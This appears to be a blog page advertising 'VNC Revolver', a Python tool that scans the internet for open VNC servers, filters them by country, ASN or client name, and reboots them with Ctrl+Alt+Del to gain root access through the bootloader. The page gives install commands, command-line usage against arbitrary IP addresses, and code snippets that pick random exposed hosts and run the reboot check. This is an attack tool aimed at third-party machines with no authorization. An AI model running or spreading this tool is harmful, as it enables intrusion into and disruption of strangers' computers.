title: 💥 VNC Revolver date: 2024-02-14 19:00 tags: projects summary: Search for open VNC Servers --- Search for open VNC servers around the world --- ![vnc](/images/revolver.png) # DOWNLOAD ## [vncrevolver](/download/vncrevolver.zip) # Table Of Contents * [`Dependencies`](#required) * [`Install`](#install) * [`Features`](#features) * [`Usage`](#commands) ## Required: pip install pydantic pip install asyncvnc pip install aiohttp # Install: git clone https://github.com/cristiancmoises/vncrevolver cd vncrevolver # Features | Some Features | |------------------------------------------------------------------------------------| | 🌎 _Search for many open Vnc Servers around the world_ | | 📍 _Filter by country_ | | 🔢 _List more than one_ | | 🖥️ _List by Client name_ | | ✅ _Checks them for vulnerabilities by rebooting the machine via Ctrl+ALT+DEL, obtaining root access through the operating system bootloader easyly._ | # Commands ## BASIC: python -m vncrevolver ## DEEP SEARCH: python -m vncrevolver --clientname ubuntu --count 10 ## CTRL + ALT + DEL | CHECK python -m vncrevolver --clientname ubuntu --count 10 --check_crt_alt_del ## CHECK A SPECIFIC ADDRESS: python -m vncrevolver --check_crt_alt_del 123.12.1.23:5901 > # START ME UP! $ python -m vncrevolver --help usage: vncrevolver [-h] [--clientname CLIENTNAME] [--country COUNTRY] [--asn ASN] [--count COUNT] [--check_crt_alt_del [CHECK_CRT_ALT_DEL]] [--show_failed] [--screen_delay SCREEN_DELAY] optional arguments: -h, --help show this help message and exit --clientname CLIENTNAME Filter by client name, note that it is case-sensitive! --country COUNTRY Filter by ISO 3166-1 alpha-2 country code --asn ASN Filter by ASN --count COUNT Number of VNCs to find --check_crt_alt_del [CHECK_CRT_ALT_DEL] If you specify this parameter without a value, only those VNCs from the search that pass the ctrl_alt_del check will be returned. If a value is passed, it must be a VNC address that will be checked against ctrl_alt_del. --show_failed Return VNCs that failed the ctrl_alt_del check --screen_delay SCREEN_DELAY Delay between taking two screenshots in milliseconds > # Use filters: from typing import List from vncrevolver.search import VNC, search_filter hosts: List[VNC] = await search_filter(clientname='ubuntu') for vnc in hosts: print(vnc.ip, vnc,port) > # Random Search from vncrevolver.search import VNC, search_random vnc: VNC = await search_random() print(vnc.ip, vnc.port) > # Ctrl + ALT + DEL - CHECK UP! from vncrevolver.search import VNC, search_random from vncrevolver.vnc import check_crt_alt_del vnc: VNC = await search_random() print(await check_crt_alt_del(vnc.ip, vnc.port)) ![FollowTheWhiteRabbit](https://github.com/cristiancmoises/vncrevolver/assets/86272521/87e35e4b-499b-4651-a733-0fc993d4a985)